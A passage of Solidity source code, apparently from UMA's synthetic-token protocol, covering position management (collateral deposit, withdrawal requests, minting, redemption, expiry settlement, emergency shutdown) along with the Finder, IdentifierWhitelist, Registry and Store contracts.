collateralAmount.rawValue); } /** * @notice Transfers `collateralAmount` of `collateralCurrency` into the caller's position. * @dev Increases the collateralization level of a position after creation. This contract must be approved to spend * at least `collateralAmount` of `collateralCurrency`. * @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position. */ function deposit(FixedPoint.Unsigned memory collateralAmount) public { // This is just a thin wrapper over depositTo that specified the sender as the sponsor. depositTo(msg.sender, collateralAmount); } /** * @notice Transfers `collateralAmount` of `collateralCurrency` from the sponsor's position to the sponsor. * @dev Reverts if the withdrawal puts this position's collateralization ratio below the global collateralization * ratio. In that case, use `requestWithdrawal`. Might not withdraw the full requested amount to account for precision loss. * @param collateralAmount is the amount of collateral to withdraw. * @return amountWithdrawn The actual amount of collateral withdrawn. */ function withdraw(FixedPoint.Unsigned memory collateralAmount) public onlyPreExpiration() noPendingWithdrawal(msg.sender) fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { PositionData storage positionData = _getPositionData(msg.sender); require(collateralAmount.isGreaterThan(0), "Invalid collateral amount"); // Decrement the sponsor's collateral and global collateral amounts. Check the GCR between decrement to ensure // position remains above the GCR within the witdrawl. If this is not the case the caller must submit a request. amountWithdrawn = _decrementCollateralBalancesCheckGCR(positionData, collateralAmount); emit Withdrawal(msg.sender, amountWithdrawn.rawValue); // Move collateral currency from contract to sender. // Note: that we move the amount of collateral that is decreased from rawCollateral (inclusive of fees) // instead of the user requested amount. This eliminates precision loss that could occur // where the user withdraws more collateral than rawCollateral is decremented by. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); } /** * @notice Starts a withdrawal request that, if passed, allows the sponsor to withdraw` from their position. * @dev The request will be pending for `withdrawalLiveness`, during which the position can be liquidated. * @param collateralAmount the amount of collateral requested to withdraw */ function requestWithdrawal(FixedPoint.Unsigned memory collateralAmount) public onlyPreExpiration() noPendingWithdrawal(msg.sender) nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require( collateralAmount.isGreaterThan(0) && collateralAmount.isLessThanOrEqual(_getFeeAdjustedCollateral(positionData.rawCollateral)), "Invalid collateral amount" ); // Make sure the proposed expiration of this request is not post-expiry. uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness); require(requestPassTime < expirationTimestamp, "Request expires post-expiry"); // Update the position object for the user. positionData.withdrawalRequestPassTimestamp = requestPassTime; positionData.withdrawalRequestAmount = collateralAmount; emit RequestWithdrawal(msg.sender, collateralAmount.rawValue); } /** * @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and waiting * `withdrawalLiveness`), withdraws `positionData.withdrawalRequestAmount` of collateral currency. * @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested * amount exceeds the collateral in the position (due to paying fees). * @return amountWithdrawn The actual amount of collateral withdrawn. */ function withdrawPassedRequest() external onlyPreExpiration() fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { PositionData storage positionData = _getPositionData(msg.sender); require( positionData.withdrawalRequestPassTimestamp != 0 && positionData.withdrawalRequestPassTimestamp <= getCurrentTime(), "Invalid withdraw request" ); // If withdrawal request amount is > position collateral, then withdraw the full collateral amount. // This situation is possible due to fees charged since the withdrawal was originally requested. FixedPoint.Unsigned memory amountToWithdraw = positionData.withdrawalRequestAmount; if (positionData.withdrawalRequestAmount.isGreaterThan(_getFeeAdjustedCollateral(positionData.rawCollateral))) { amountToWithdraw = _getFeeAdjustedCollateral(positionData.rawCollateral); } // Decrement the sponsor's collateral and global collateral amounts. amountWithdrawn = _decrementCollateralBalances(positionData, amountToWithdraw); // Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0. _resetWithdrawalRequest(positionData); // Transfer approved withdrawal amount from the contract to the caller. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); emit RequestWithdrawalExecuted(msg.sender, amountWithdrawn.rawValue); } /** * @notice Cancels a pending withdrawal request. */ function cancelWithdrawal() external nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require(positionData.withdrawalRequestPassTimestamp != 0, "No pending withdrawal"); emit RequestWithdrawalCanceled(msg.sender, positionData.withdrawalRequestAmount.rawValue); // Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0. _resetWithdrawalRequest(positionData); } /** * @notice Creates tokens by creating a new position or by augmenting an existing position. Pulls `collateralAmount` into the sponsor's position and mints `numTokens` of `tokenCurrency`. * @dev Reverts if minting these tokens would put the position's collateralization ratio below the * global collateralization ratio. This contract must be approved to spend at least `collateralAmount` of * `collateralCurrency`. * @param collateralAmount is the number of collateral tokens to collateralize the position with * @param numTokens is the number of tokens to mint from the position. */ function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens) public onlyPreExpiration() fees() nonReentrant() { PositionData storage positionData = positions[msg.sender]; // Either the new create ratio or the resultant position CR must be above the current GCR. require( (_checkCollateralization( _getFeeAdjustedCollateral(positionData.rawCollateral).add(collateralAmount), positionData.tokensOutstanding.add(numTokens) ) || _checkCollateralization(collateralAmount, numTokens)), "Insufficient collateral" ); require(positionData.withdrawalRequestPassTimestamp == 0, "Pending withdrawal"); if (positionData.tokensOutstanding.isEqual(0)) { require(numTokens.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position"); emit NewSponsor(msg.sender); } // Increase the position and global collateral balance by collateral amount. _incrementCollateralBalances(positionData, collateralAmount); // Add the number of tokens created to the position's outstanding tokens. positionData.tokensOutstanding = positionData.tokensOutstanding.add(numTokens); totalTokensOutstanding = totalTokensOutstanding.add(numTokens); emit PositionCreated(msg.sender, collateralAmount.rawValue, numTokens.rawValue); // Transfer tokens into the contract from caller and mint corresponding synthetic tokens to the caller's address. collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue); require(tokenCurrency.mint(msg.sender, numTokens.rawValue), "Minting synthetic tokens failed"); } /** * @notice Burns `numTokens` of `tokenCurrency` and sends back the proportional amount of `collateralCurrency`. * @dev Can only be called by a token sponsor. Might not redeem the full proportional amount of collateral * in order to account for precision loss. This contract must be approved to spend at least `numTokens` of * `tokenCurrency`. * @param numTokens is the number of tokens to be burnt for a commensurate amount of collateral. * @return amountWithdrawn The actual amount of collateral withdrawn. */ function redeem(FixedPoint.Unsigned memory numTokens) public noPendingWithdrawal(msg.sender) fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { PositionData storage positionData = _getPositionData(msg.sender); require(!numTokens.isGreaterThan(positionData.tokensOutstanding), "Invalid token amount"); FixedPoint.Unsigned memory fractionRedeemed = numTokens.div(positionData.tokensOutstanding); FixedPoint.Unsigned memory collateralRedeemed = fractionRedeemed.mul( _getFeeAdjustedCollateral(positionData.rawCollateral) ); // If redemption returns all tokens the sponsor has then we can delete their position. Else, downsize. if (positionData.tokensOutstanding.isEqual(numTokens)) { amountWithdrawn = _deleteSponsorPosition(msg.sender); } else { // Decrement the sponsor's collateral and global collateral amounts. amountWithdrawn = _decrementCollateralBalances(positionData, collateralRedeemed); // Decrease the sponsors position tokens size. Ensure it is above the min sponsor size. FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens); require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position"); positionData.tokensOutstanding = newTokenCount; // Update the totalTokensOutstanding after redemption. totalTokensOutstanding = totalTokensOutstanding.sub(numTokens); } emit Redeem(msg.sender, amountWithdrawn.rawValue, numTokens.rawValue); // Transfer collateral from contract to caller and burn callers synthetic tokens. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue); tokenCurrency.burn(numTokens.rawValue); } /** * @notice After a contract has passed expiry all token holders can redeem their tokens for underlying at the * prevailing price defined by the DVM from the `expire` function. * @dev This burns all tokens from the caller of `tokenCurrency` and sends back the proportional amount of * `collateralCurrency`. Might not redeem the full proportional amount of collateral in order to account for * precision loss. This contract must be approved to spend `tokenCurrency` at least up to the caller's full balance. * @return amountWithdrawn The actual amount of collateral withdrawn. */ function settleExpired() external onlyPostExpiration() fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { // If the contract state is open and onlyPostExpiration passed then `expire()` has not yet been called. require(contractState != ContractState.Open, "Unexpired position"); // Get the current settlement price and store it. If it is not resolved will revert. if (contractState != ContractState.ExpiredPriceReceived) { expiryPrice = _getOraclePrice(expirationTimestamp); contractState = ContractState.ExpiredPriceReceived; } // Get caller's tokens balance and calculate amount of underlying entitled to them. FixedPoint.Unsigned memory tokensToRedeem = FixedPoint.Unsigned(tokenCurrency.balanceOf(msg.sender)); FixedPoint.Unsigned memory totalRedeemableCollateral = tokensToRedeem.mul(expiryPrice); // If the caller is a sponsor with outstanding collateral they are also entitled to their excess collateral after their debt. PositionData storage positionData = positions[msg.sender]; if (_getFeeAdjustedCollateral(positionData.rawCollateral).isGreaterThan(0)) { // Calculate the underlying entitled to a token sponsor. This is collateral - debt in underlying. FixedPoint.Unsigned memory tokenDebtValueInCollateral = positionData.tokensOutstanding.mul(expiryPrice); FixedPoint.Unsigned memory positionCollateral = _getFeeAdjustedCollateral(positionData.rawCollateral); // If the debt is greater than the remaining collateral, they cannot redeem anything. FixedPoint.Unsigned memory positionRedeemableCollateral = tokenDebtValueInCollateral.isLessThan( positionCollateral ) ? positionCollateral.sub(tokenDebtValueInCollateral) : FixedPoint.Unsigned(0); // Add the number of redeemable tokens for the sponsor to their total redeemable collateral. totalRedeemableCollateral = totalRedeemableCollateral.add(positionRedeemableCollateral); // Reset the position state as all the value has been removed after settlement. delete positions[msg.sender]; emit EndedSponsorPosition(msg.sender); } // Take the min of the remaining collateral and the collateral "owed". If the contract is undercapitalized, // the caller will get as much collateral as the contract can pay out. FixedPoint.Unsigned memory payout = FixedPoint.min( _getFeeAdjustedCollateral(rawTotalPositionCollateral), totalRedeemableCollateral ); // Decrement total contract collateral and outstanding debt. amountWithdrawn = _removeCollateral(rawTotalPositionCollateral, payout); totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRedeem); emit SettleExpiredPosition(msg.sender, amountWithdrawn.rawValue, tokensToRedeem.rawValue); // Transfer tokens & collateral and burn the redeemed tokens. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensToRedeem.rawValue); tokenCurrency.burn(tokensToRedeem.rawValue); } /**************************************** * GLOBAL STATE FUNCTIONS * ****************************************/ /** * @notice Locks contract state in expired and requests oracle price. * @dev this function can only be called once the contract is expired and can't be re-called. */ function expire() external onlyPostExpiration() onlyOpenState() fees() nonReentrant() { contractState = ContractState.ExpiredPriceRequested; // The final fee for this request is paid out of the contract rather than by the caller. _payFinalFees(address(this), _computeFinalFees()); _requestOraclePrice(expirationTimestamp); emit ContractExpired(msg.sender); } /** * @notice Premature contract settlement under emergency circumstances. * @dev Only the governor can call this function as they are permissioned within the `FinancialContractAdmin`. * Upon emergency shutdown, the contract settlement time is set to the shutdown time. This enables withdrawal * to occur via the standard `settleExpired` function. Contract state is set to `ExpiredPriceRequested` * which prevents re-entry into this function or the `expire` function. No fees are paid when calling * `emergencyShutdown` as the governor who would call the function would also receive the fees. */ function emergencyShutdown() external override onlyPreExpiration() onlyOpenState() nonReentrant() { require(msg.sender == _getFinancialContractsAdminAddress(), "Caller not Governor"); contractState = ContractState.ExpiredPriceRequested; // Expiratory time now becomes the current time (emergency shutdown time). // Price requested at this time stamp. `settleExpired` can now withdraw at this timestamp. uint256 oldExpirationTimestamp = expirationTimestamp; expirationTimestamp = getCurrentTime(); _requestOraclePrice(expirationTimestamp); emit EmergencyShutdown(msg.sender, oldExpirationTimestamp, expirationTimestamp); } /** * @notice Theoretically supposed to pay fees and move money between margin accounts to make sure they * reflect the NAV of the contract. However, this functionality doesn't apply to this contract. * @dev This is supposed to be implemented by any contract that inherits `AdministrateeInterface` and callable * only by the Governor contract. This method is therefore minimally implemented in this contract and does nothing. */ function remargin() external override onlyPreExpiration() nonReentrant() { return; } /** * @notice Drains any excess balance of the provided ERC20 token to a pre-selected beneficiary. * @dev This will drain down to the amount of tracked collateral and drain the full balance of any other token. * @param token address of the ERC20 token whose excess balance should be drained. */ function trimExcess(IERC20 token) external fees() nonReentrant() returns (FixedPoint.Unsigned memory amount) { FixedPoint.Unsigned memory balance = FixedPoint.Unsigned(token.balanceOf(address(this))); if (address(token) == address(collateralCurrency)) { // If it is the collateral currency, send only the amount that the contract is not tracking. // Note: this could be due to rounding error or balance-changing tokens, like aTokens. amount = balance.sub(_pfc()); } else { // If it's not the collateral currency, send the entire balance. amount = balance; } token.safeTransfer(excessTokenBeneficiary, amount.rawValue); } /** * @notice Accessor method for a sponsor's collateral. * @dev This is necessary because the struct returned by the positions() method shows * rawCollateral, which isn't a user-readable value. * @param sponsor address whose collateral amount is retrieved. * @return collateralAmount amount of collateral within a sponsors position. */ function getCollateral(address sponsor) external view nonReentrantView() returns (FixedPoint.Unsigned memory collateralAmount) { // Note: do a direct access to avoid the validity check. return _getFeeAdjustedCollateral(positions[sponsor].rawCollateral); } /** * @notice Accessor method for the total collateral stored within the PricelessPositionManager. * @return totalCollateral amount of all collateral within the Expiring Multi Party Contract. */ function totalPositionCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory totalCollateral) { return _getFeeAdjustedCollateral(rawTotalPositionCollateral); } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // Reduces a sponsor's position and global counters by the specified parameters. Handles deleting the entire // position if the entire position is being removed. Does not make any external transfers. function _reduceSponsorPosition( address sponsor, FixedPoint.Unsigned memory tokensToRemove, FixedPoint.Unsigned memory collateralToRemove, FixedPoint.Unsigned memory withdrawalAmountToRemove ) internal { PositionData storage positionData = _getPositionData(sponsor); // If the entire position is being removed, delete it instead. if ( tokensToRemove.isEqual(positionData.tokensOutstanding) && _getFeeAdjustedCollateral(positionData.rawCollateral).isEqual(collateralToRemove) ) { _deleteSponsorPosition(sponsor); return; } // Decrement the sponsor's collateral and global collateral amounts. _decrementCollateralBalances(positionData, collateralToRemove); // Ensure that the sponsor will meet the min position size after the reduction. FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(tokensToRemove); require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position"); positionData.tokensOutstanding = newTokenCount; // Decrement the position's withdrawal amount. positionData.withdrawalRequestAmount = positionData.withdrawalRequestAmount.sub(withdrawalAmountToRemove); // Decrement the total outstanding tokens in the overall contract. totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRemove); } // Deletes a sponsor's position and updates global counters. Does not make any external transfers. function _deleteSponsorPosition(address sponsor) internal returns (FixedPoint.Unsigned memory) { PositionData storage positionToLiquidate = _getPositionData(sponsor); FixedPoint.Unsigned memory startingGlobalCollateral = _getFeeAdjustedCollateral(rawTotalPositionCollateral); // Remove the collateral and outstanding from the overall total position. FixedPoint.Unsigned memory remainingRawCollateral = positionToLiquidate.rawCollateral; rawTotalPositionCollateral = rawTotalPositionCollateral.sub(remainingRawCollateral); totalTokensOutstanding = totalTokensOutstanding.sub(positionToLiquidate.tokensOutstanding); // Reset the sponsors position to have zero outstanding and collateral. delete positions[sponsor]; emit EndedSponsorPosition(sponsor); // Return fee-adjusted amount of collateral deleted from position. return startingGlobalCollateral.sub(_getFeeAdjustedCollateral(rawTotalPositionCollateral)); } function _pfc() internal virtual override view returns (FixedPoint.Unsigned memory) { return _getFeeAdjustedCollateral(rawTotalPositionCollateral); } function _getPositionData(address sponsor) internal view onlyCollateralizedPosition(sponsor) returns (PositionData storage) { return positions[sponsor]; } function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } function _getOracle() internal view returns (OracleInterface) { return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } function _getFinancialContractsAdminAddress() internal view returns (address) { return finder.getImplementationAddress(OracleInterfaces.FinancialContractsAdmin); } // Requests a price for `priceIdentifier` at `requestedTime` from the Oracle. function _requestOraclePrice(uint256 requestedTime) internal { OracleInterface oracle = _getOracle(); oracle.requestPrice(priceIdentifier, requestedTime); } // Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request. function _getOraclePrice(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory) { // Create an instance of the oracle and get the price. If the price is not resolved revert. OracleInterface oracle = _getOracle(); require(oracle.hasPrice(priceIdentifier, requestedTime), "Unresolved oracle price"); int256 oraclePrice = oracle.getPrice(priceIdentifier, requestedTime); // For now we don't want to deal with negative prices in positions. if (oraclePrice < 0) { oraclePrice = 0; } return FixedPoint.Unsigned(uint256(oraclePrice)); } // Reset withdrawal request by setting the withdrawal request and withdrawal timestamp to 0. function _resetWithdrawalRequest(PositionData storage positionData) internal { positionData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0); positionData.withdrawalRequestPassTimestamp = 0; } // Ensure individual and global consistency when increasing collateral balances. Returns the change to the position. function _incrementCollateralBalances( PositionData storage positionData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _addCollateral(positionData.rawCollateral, collateralAmount); return _addCollateral(rawTotalPositionCollateral, collateralAmount); } // Ensure individual and global consistency when decrementing collateral balances. Returns the change to the // position. We elect to return the amount that the global collateral is decreased by, rather than the individual // position's collateral, because we need to maintain the invariant that the global collateral is always // <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn. function _decrementCollateralBalances( PositionData storage positionData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _removeCollateral(positionData.rawCollateral, collateralAmount); return _removeCollateral(rawTotalPositionCollateral, collateralAmount); } // Ensure individual and global consistency when decrementing collateral balances. Returns the change to the position. // This function is similar to the _decrementCollateralBalances function except this function checks position GCR // between the decrements. This ensures that collateral removal will not leave the position undercollateralized. function _decrementCollateralBalancesCheckGCR( PositionData storage positionData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _removeCollateral(positionData.rawCollateral, collateralAmount); require(_checkPositionCollateralization(positionData), "CR below GCR"); return _removeCollateral(rawTotalPositionCollateral, collateralAmount); } // These internal functions are supposed to act identically to modifiers, but re-used modifiers // unnecessarily increase contract bytecode size. // source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6 function _onlyOpenState() internal view { require(contractState == ContractState.Open, "Contract state is not OPEN"); } function _onlyPreExpiration() internal view { require(getCurrentTime() < expirationTimestamp, "Only callable pre-expiry"); } function _onlyPostExpiration() internal view { require(getCurrentTime() >= expirationTimestamp, "Only callable post-expiry"); } function _onlyCollateralizedPosition(address sponsor) internal view { require( _getFeeAdjustedCollateral(positions[sponsor].rawCollateral).isGreaterThan(0), "Position has no collateral" ); } // Note: This checks whether an already existing position has a pending withdrawal. This cannot be used on the // `create` method because it is possible that `create` is called on a new position (i.e. one without any collateral // or tokens outstanding) which would fail the `onlyCollateralizedPosition` modifier on `_getPositionData`. function _positionHasNoPendingWithdrawal(address sponsor) internal view { require(_getPositionData(sponsor).withdrawalRequestPassTimestamp == 0, "Pending withdrawal"); } /**************************************** * PRIVATE FUNCTIONS * ****************************************/ function _checkPositionCollateralization(PositionData storage positionData) private view returns (bool) { return _checkCollateralization( _getFeeAdjustedCollateral(positionData.rawCollateral), positionData.tokensOutstanding ); } // Checks whether the provided `collateral` and `numTokens` have a collateralization ratio above the global // collateralization ratio. function _checkCollateralization(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens) private view returns (bool) { FixedPoint.Unsigned memory global = _getCollateralizationRatio( _getFeeAdjustedCollateral(rawTotalPositionCollateral), totalTokensOutstanding ); FixedPoint.Unsigned memory thisChange = _getCollateralizationRatio(collateral, numTokens); return !global.isGreaterThan(thisChange); } function _getCollateralizationRatio(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens) private pure returns (FixedPoint.Unsigned memory ratio) { if (!numTokens.isGreaterThan(0)) { return FixedPoint.fromUnscaledUint(0); } else { return collateral.div(numTokens); } } } contract Finder is FinderInterface, Ownable { mapping(bytes32 => address) public interfacesImplemented; event InterfaceImplementationChanged(bytes32 indexed interfaceName, address indexed newImplementationAddress); /** * @notice Updates the address of the contract that implements `interfaceName`. * @param interfaceName bytes32 of the interface name that is either changed or registered. * @param implementationAddress address of the implementation contract. */ function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external override onlyOwner { interfacesImplemented[interfaceName] = implementationAddress; emit InterfaceImplementationChanged(interfaceName, implementationAddress); } /** * @notice Gets the address of the contract that implements the given `interfaceName`. * @param interfaceName queried interface. * @return implementationAddress address of the defined interface. */ function getImplementationAddress(bytes32 interfaceName) external override view returns (address) { address implementationAddress = interfacesImplemented[interfaceName]; require(implementationAddress != address(0x0), "Implementation not found"); return implementationAddress; } } contract IdentifierWhitelist is IdentifierWhitelistInterface, Ownable { /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ mapping(bytes32 => bool) private supportedIdentifiers; /**************************************** * EVENTS * ****************************************/ event SupportedIdentifierAdded(bytes32 indexed identifier); event SupportedIdentifierRemoved(bytes32 indexed identifier); /**************************************** * ADMIN STATE MODIFYING FUNCTIONS * ****************************************/ /** * @notice Adds the provided identifier as a supported identifier. * @dev Price requests using this identifier will succeed after this call. * @param identifier unique UTF-8 representation for the feed being added. Eg: BTC/USD. */ function addSupportedIdentifier(bytes32 identifier) external override onlyOwner { if (!supportedIdentifiers[identifier]) { supportedIdentifiers[identifier] = true; emit SupportedIdentifierAdded(identifier); } } /** * @notice Removes the identifier from the whitelist. * @dev Price requests using this identifier will no longer succeed after this call. * @param identifier unique UTF-8 representation for the feed being removed. Eg: BTC/USD. */ function removeSupportedIdentifier(bytes32 identifier) external override onlyOwner { if (supportedIdentifiers[identifier]) { supportedIdentifiers[identifier] = false; emit SupportedIdentifierRemoved(identifier); } } /**************************************** * WHITELIST GETTERS FUNCTIONS * ****************************************/ /** * @notice Checks whether an identifier is on the whitelist. * @param identifier unique UTF-8 representation for the feed being queried. Eg: BTC/USD. * @return bool if the identifier is supported (or not). */ function isIdentifierSupported(bytes32 identifier) external override view returns (bool) { return supportedIdentifiers[identifier]; } } contract Registry is RegistryInterface, MultiRole { using SafeMath for uint256; /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Owner, // The owner manages the set of ContractCreators. ContractCreator // Can register financial contracts. } // This enum is required because a `WasValid` state is required // to ensure that financial contracts cannot be re-registered. enum Validity { Invalid, Valid } // Local information about a contract. struct FinancialContract { Validity valid; uint128 index; } struct Party { address[] contracts; // Each financial contract address is stored in this array. // The address of each financial contract is mapped to its index for constant time look up and deletion. mapping(address => uint256) contractIndex; } // Array of all contracts that are approved to use the UMA Oracle. address[] public registeredContracts; // Map of financial contract contracts to the associated FinancialContract struct. mapping(address => FinancialContract) public contractMap; // Map each party member to their their associated Party struct. mapping(address => Party) private partyMap; /**************************************** * EVENTS * ****************************************/ event NewContractRegistered(address indexed contractAddress, address indexed creator, address[] parties); event PartyAdded(address indexed contractAddress, address indexed party); event PartyRemoved(address indexed contractAddress, address indexed party); /** * @notice Construct the Registry contract. */ constructor() public { _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender); // Start with no contract creators registered. _createSharedRole(uint256(Roles.ContractCreator), uint256(Roles.Owner), new address[](0)); } /**************************************** * REGISTRATION FUNCTIONS * ****************************************/ /** * @notice Registers a new financial contract. * @dev Only authorized contract creators can call this method. * @param parties array of addresses who become parties in the contract. * @param contractAddress address of the contract against which the parties are registered. */ function registerContract(address[] calldata parties, address contractAddress) external override onlyRoleHolder(uint256(Roles.ContractCreator)) { FinancialContract storage financialContract = contractMap[contractAddress]; require(contractMap[contractAddress].valid == Validity.Invalid, "Can only register once"); // Store contract address as a registered contract. registeredContracts.push(contractAddress); // No length check necessary because we should never hit (2^127 - 1) contracts. financialContract.index = uint128(registeredContracts.length.sub(1)); // For all parties in the array add them to the contract's parties. financialContract.valid = Validity.Valid; for (uint256 i = 0; i < parties.length; i = i.add(1)) { _addPartyToContract(parties[i], contractAddress); } emit NewContractRegistered(contractAddress, msg.sender, parties); } /** * @notice Adds a party member to the calling contract. * @dev msg.sender will be used to determine the contract that this party is added to. * @param party new party for the calling contract. */ function addPartyToContract(address party) external override { address contractAddress = msg.sender; require(contractMap[contractAddress].valid == Validity.Valid, "Can only add to valid contract"); _addPartyToContract(party, contractAddress); } /** * @notice Removes a party member from the calling contract. * @dev msg.sender will be used to determine the contract that this party is removed from. * @param partyAddress address to be removed from the calling contract. */ function removePartyFromContract(address partyAddress) external override { address contractAddress = msg.sender; Party storage party = partyMap[partyAddress]; uint256 numberOfContracts = party.contracts.length; require(numberOfContracts != 0, "Party has no contracts"); require(contractMap[contractAddress].valid == Validity.Valid, "Remove only from valid contract"); require(isPartyMemberOfContract(partyAddress, contractAddress), "Can only remove existing party"); // Index of the current location of the contract to remove. uint256 deleteIndex = party.contractIndex[contractAddress]; // Store the last contract's address to update the lookup map. address lastContractAddress = party.contracts[numberOfContracts - 1]; // Swap the contract to be removed with the last contract. party.contracts[deleteIndex] = lastContractAddress; // Update the lookup index with the new location. party.contractIndex[lastContractAddress] = deleteIndex; // Pop the last contract from the array and update the lookup map. party.contracts.pop(); delete party.contractIndex[contractAddress]; emit PartyRemoved(contractAddress, partyAddress); } /**************************************** * REGISTRY STATE GETTERS * ****************************************/ /** * @notice Returns whether the contract has been registered with the registry. * @dev If it is registered, it is an authorized participant in the UMA system. * @param contractAddress address of the financial contract. * @return bool indicates whether the contract is registered. */ function isContractRegistered(address contractAddress) external override view returns (bool) { return contractMap[contractAddress].valid == Validity.Valid; } /** * @notice Returns a list of all contracts that are associated with a particular party. * @param party address of the party. * @return an array of the contracts the party is registered to. */ function getRegisteredContracts(address party) external override view returns (address[] memory) { return partyMap[party].contracts; } /** * @notice Returns all registered contracts. * @return all registered contract addresses within the system. */ function getAllRegisteredContracts() external override view returns (address[] memory) { return registeredContracts; } /** * @notice checks if an address is a party of a contract. * @param party party to check. * @param contractAddress address to check against the party. * @return bool indicating if the address is a party of the contract. */ function isPartyMemberOfContract(address party, address contractAddress) public override view returns (bool) { uint256 index = partyMap[party].contractIndex[contractAddress]; return partyMap[party].contracts.length > index && partyMap[party].contracts[index] == contractAddress; } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ function _addPartyToContract(address party, address contractAddress) internal { require(!isPartyMemberOfContract(party, contractAddress), "Can only register a party once"); uint256 contractIndex = partyMap[party].contracts.length; partyMap[party].contracts.push(contractAddress); partyMap[party].contractIndex[contractAddress] = contractIndex; emit PartyAdded(contractAddress, party); } } contract Store is StoreInterface, Withdrawable, Testable { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; using FixedPoint for uint256; using SafeERC20 for IERC20; /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Owner, Withdrawer } FixedPoint.Unsigned public fixedOracleFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% Oracle fee. FixedPoint.Unsigned public weeklyDelayFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% weekly delay fee. mapping(address => FixedPoint.Unsigned) public finalFees; uint256 public constant SECONDS_PER_WEEK = 604800; /**************************************** * EVENTS * ****************************************/ event NewFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned newOracleFee); event NewWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned newWeeklyDelayFeePerSecondPerPfc); event NewFinalFee(FixedPoint.Unsigned newFinalFee); /** * @notice Construct the Store contract. */ constructor( FixedPoint.Unsigned memory _fixedOracleFeePerSecondPerPfc, FixedPoint.Unsigned memory _weeklyDelayFeePerSecondPerPfc, address _timerAddress ) public Testable(_timerAddress) { _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender); _createWithdrawRole(uint256(Roles.Withdrawer), uint256(Roles.Owner), msg.sender); setFixedOracleFeePerSecondPerPfc(_fixedOracleFeePerSecondPerPfc); setWeeklyDelayFeePerSecondPerPfc(_weeklyDelayFeePerSecondPerPfc); } /**************************************** * ORACLE FEE CALCULATION AND PAYMENT * ****************************************/ /** * @notice Pays Oracle fees in ETH to the store. * @dev To be used by contracts whose margin currency is ETH. */ function payOracleFees() external override payable { require(msg.value > 0, "Value sent can't be zero"); } /** * @notice Pays oracle fees in the margin currency, erc20Address, to the store. * @dev To be used if the margin currency is an ERC20 token rather than ETH. * @param erc20Address address of the ERC20 token used to pay the fee. * @param amount number of tokens to transfer. An approval for at least this amount must exist. */ function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external override { IERC20 erc20 = IERC20(erc20Address); require(amount.isGreaterThan(0), "Amount sent can't be zero"); erc20.safeTransferFrom(msg.sender, address(this), amount.rawValue); } /** * @notice Computes the regular oracle fees that a contract should pay for a period. * @dev The late penalty is similar to the regular fee in that is is charged per second over the period between * startTime and endTime. * * The late penalty percentage increases over time as follows: * * - 0-1 week since startTime: no late penalty * * - 1-2 weeks since startTime: 1x late penalty percentage is applied * * - 2-3 weeks since startTime: 2x late penalty percentage is applied * * - ... * * @param startTime defines the beginning time from which the fee is paid. * @param endTime end time until which the fee is paid. * @param pfc "profit from corruption", or the maximum amount of margin currency that a * token sponsor could extract from the contract through corrupting the price feed in their favor. * @return regularFee amount owed for the duration from start to end time for the given pfc. * @return latePenalty penalty percentage, if any, for paying the fee after the deadline. */ function computeRegularFee( uint256 startTime, uint256 endTime, FixedPoint.Unsigned calldata pfc ) external override view returns (FixedPoint.Unsigned memory regularFee, 